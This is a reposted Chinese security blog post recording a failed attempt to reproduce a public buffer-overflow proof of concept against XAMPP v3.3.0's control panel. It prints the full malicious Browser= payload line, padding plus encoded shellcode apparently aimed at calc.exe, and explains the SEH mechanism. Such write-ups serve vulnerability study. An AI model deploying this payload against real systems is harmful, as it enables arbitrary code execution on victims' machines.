【复现未成功】XAMPP v3.3.0 的概念验证代码 — '.ini' 缓冲区溢出 RCE

渗透技巧 1年前 (2023) admin
62 0 0



【复现未成功】XAMPP v3.3.0 的概念验证代码 — '.ini' 缓冲区溢出 RCE

【复现未成功】XAMPP v3.3.0 的概念验证代码 — '.ini' 缓冲区溢出 RCE

用途:

这段代码的主要目的是创建一个恶意的 “xampp-control.ini” 配置文件,其中包含精心构造的缓冲区溢出负载。这个配置文件将会被用于利用 XAMPP 应用程序中的漏洞。

漏洞利用原理:

这个漏洞利用的关键部分在 shellcode 变量中。其中包含了一个恶意的 shellcode,这个 shellcode 将在 XAMPP 的 “xampp-control.exe” 应用程序中执行,导致漏洞利用。

Shellcode 是一段二进制代码,通常用于利用漏洞来执行攻击者希望的操作,这里的 shellcode 非常复杂,目标可能是为了执行计算器(calc.exe)。

漏洞利用流程:

运行 poc.py 脚本,它将生成一个新的 “xampp-control.ini” 文件,其中包含了恶意 shellcode。

打开 “xampp-control.exe” 应用程序。

单击 Apache 服务前面的 “admin” 按钮,触发漏洞。

这将导致 XAMPP 应用程序执行恶意 shellcode,可能引发漏洞利用,例如在目标系统上启动计算器。

WIN 10复现过程:

根据POC中注释发现复现环境是win11,我尝试了使用win10进行复现并没有复现成功,运行POC后只要权限够基本可以将POC.py的中的内容写入目录文件下。

【复现未成功】XAMPP v3.3.0 的概念验证代码 — '.ini' 缓冲区溢出 RCE

当应用程序读取 xampp-control.ini 文件并尝试处理 Browser 配置项时,如果它没有适当的输入验证和缓冲区边界检查,就会导致缓冲区溢出,使得这个 shellcode 可能被执行,从而导致漏洞利用。

Browser=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYqCGQqXq$q-qPqÃqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqPPYAIAIAIAIAIAIAIAIAIAIAIAIAIAIAjXAQADAZABARALAYAIAQAIAQAIAhAAAZ1AIAIAJ11AIAIABABABQI1AIQIAIQI111AIAJQYAZBABABABABkMAGB9u4JBkLzHrbM0ipm0c0bi7u01Ep1TBkb0nPdKR2zlrknrKdDK42KxJo6WpJnFLqiofLMl1QallBLlO0gQxOzmjagW7rZRObpWBkNrZpdKMzmlBkNlzq1hZC0HKQwab1dKQIKp9qiCrkmyKhGslzoYtKMdTKkQJ6ma9odlgQ8OJmM1vg08iPD5yfjcSMjXOKQmnDRUhdaH4KR8mTIq7c2FDKjlpKrkaHMLJaZ3dKItrkYqhPU9MtO4KtOk1KC1QI1JNqKO9P1OOoqJtKn2HkRmOmaZjatMbe7BYpm0kPR0PhmadKRODGioj57KgpmMnJZjoxDfceemCmYo9EmlivcL9zE0ikWpQe9ugKoWKcprpo2Jip23KOHUQSaQ0l33Lns5PxrEKPAA

【复现未成功】XAMPP v3.3.0 的概念验证代码 — '.ini' 缓冲区溢出 RCE

相同溢出字节包括了shellcode

【复现未成功】XAMPP v3.3.0 的概念验证代码 — '.ini' 缓冲区溢出 RCE

然后我启动了xampp随便起了个然后按admin按钮就可以弹出计算器,win10没有复现成功!而且把XAMPP闪退了,估计是POC并不适合WIN10环境导致异常闪退的!

【复现未成功】XAMPP v3.3.0 的概念验证代码 — '.ini' 缓冲区溢出 RCE

关于xampp-control.ini

`.ini` 文件:POC写入的这个文件我还是好奇的,早期的XAMPP好像就有这个文件了,`xampp-control.ini` 文件的 `Browser` 配置项的作用是定义在 XAMPP 控制面板中单击服务管理按钮后打开的默认网络浏览器的路径。这允许用户通过点击服务按钮来快速访问相关的服务或信息,比如查看 Apache Web 服务器的状态。

`ini文件 Browser配置项` :在一些情况下,该 `Browser` 配置项可能会没有足够的输入验证和缓冲区边界检查,导致安全漏洞的产生:1. **不足的输入验证**:如果开发控制面板的程序员没有实施足够的输入验证,恶意用户可以在 `Browser` 配置项中输入任意字符,包括恶意数据。2. **缓冲区边界检查不足**:如果应用程序在处理 `Browser` 配置项时没有执行足够的缓冲区边界检查,攻击者可以提交异常大的数据,导致缓冲区溢出,覆盖了控制面板的内存区域。

win11复现过程:

【复现未成功】XAMPP v3.3.0 的概念验证代码 — '.ini' 缓冲区溢出 RCE

可见POC新增目录文件后点击“admin”却发现连xampp-control都闪退了,加上我的这个系统是在微软官方下载的开发环境WIN11系统,还有POC中的第36行seh处理程序。

【复现未成功】XAMPP v3.3.0 的概念验证代码 — '.ini' 缓冲区溢出 RCE

SEH(Structured Exception Handler)处理程序是一种用于处理Windows操作系统中发生的异常的机制。异常是指在程序执行过程中遇到的不寻常情况,如除零错误、内存访问冲突或无效操作等。SEH用于捕获和处理这些异常,以便程序可以优雅地处理,而不会导致崩溃或数据丢失。

SEH处理程序通常是一段代码,它被注册在程序的异常处理链中。当异常发生时,操作系统会查找该链,以确定如何处理异常。SEH处理程序有两个主要作用:

  • 捕获异常:SEH处理程序充当异常的监视器,它可以捕获特定类型的异常。如果发生符合SEH处理程序的异常类型,SEH处理程序将被调用以处理异常。

  • 处理异常:SEH处理程序是用于实际处理异常的代码。它可以执行各种操作,如日志记录异常、恢复状态、释放资源等。SEH处理程序通常以函数指针的形式注册到SEH链中。

SEH处理程序的一个重要特性是,它们可以被滞后执行,允许程序在发生异常后继续执行。这有助于提高程序的鲁棒性,因为程序可以捕获和处理异常而不致崩溃。


项目地址:

https://github.com/ripp3rdoc/XAMPPv3.3.0-BOF



感谢您抽出

【复现未成功】XAMPP v3.3.0 的概念验证代码 — '.ini' 缓冲区溢出 RCE

.

【复现未成功】XAMPP v3.3.0 的概念验证代码 — '.ini' 缓冲区溢出 RCE

.

【复现未成功】XAMPP v3.3.0 的概念验证代码 — '.ini' 缓冲区溢出 RCE

来阅读本文

【复现未成功】XAMPP v3.3.0 的概念验证代码 — '.ini' 缓冲区溢出 RCE

点它,分享点赞在看都在这里

原文始发于微信公众号(Ots安全):【复现未成功】XAMPP v3.3.0 的概念验证代码 — '.ini' 缓冲区溢出 RCE

版权声明:admin 发表于 2023年10月31日 下午4:54。
转载请注明:【复现未成功】XAMPP v3.3.0 的概念验证代码 — '.ini' 缓冲区溢出 RCE | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...